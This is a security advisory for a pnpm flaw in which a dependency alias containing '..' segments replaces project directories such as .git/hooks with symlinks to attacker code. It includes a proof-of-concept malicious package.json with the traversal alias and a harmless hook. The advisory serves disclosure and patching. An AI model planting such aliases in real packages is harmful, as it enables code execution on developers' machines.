CVE-2026-50016: pnpm Transitive Dependency Alias Path Traversal via Symlink Replacement
A malicious npm registry package can smuggle path traversal segments into a dependency alias, causing pnpm to replace project directories like .git/hooks with symlinks to attacker-controlled code duri
The problem
pnpm reads dependency alias names directly from registry package metadata and joins them onto the target node_modules path without validating for `..` segments. A transitive package can declare an alias like `@x/../../../../../.git/hooks` pointing to an attacker payload package, and pnpm will create a symlink at the traversed destination during install.
The impact bypasses the `--ignore-scripts` safety expectation. No lifecycle scripts run during install, yet the victim project's `.git/hooks`, `scripts/`, `.github/actions/`, or other directories are silently replaced. The payload then executes the next time the user runs `git commit`, `pnpm test`, or any other tool that reads those directories.
Proof of concept
# bad@1.0.0 package.json (the malicious transitive package published to a registry)
{
"name": "bad",
"version": "1.0.0",
"dependencies": {
"@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}
}
# payload-hooks@1.0.0/pre-commit (the hook that runs on git commit)
#!/bin/sh
echo PWNED >&2
exit 0
# victim installs a normal-looking package that pulls in bad@1.0.0 transitively
pnpm install normal@1.0.0 --ignore-scripts
# pnpm resolves the traversal alias and creates:
# <project>/.git/hooks -> node_modules/.pnpm/payload-hooks@1.0.0/node_modules/payload-hooks
# later, without any further attacker action:
git commit -m "trigger"
# stderr: PWNEDThe root cause is that pnpm passed alias keys from package metadata directly into `path.join(parentPackageNodeModulesDir, aliasKey)` with no check that the normalized result stayed inside the intended node_modules subtree. A scoped-looking alias such as `@x/../../../../../.git/hooks` normalizes cleanly past the project root and lands at `.git/hooks`, where pnpm then places a symlink to the resolved payload package directory.
The fix in 10.34.0 adds validation at both read time (when aliases are parsed from a package manifest) and at link time (when the symlink is created), rejecting any alias whose normalized path escapes the node_modules boundary. This matches CWE-23 (Relative Path Traversal): unsanitized user-controlled path components used to construct a filesystem path.
The fix
Upgrade pnpm to 10.34.0 or later (or 11.4.0+ on the v11 track). Both releases reject dependency aliases containing path-traversal segments when reading them from a package manifest or symlinking them into node_modules. No configuration change is needed; the validation is on by default.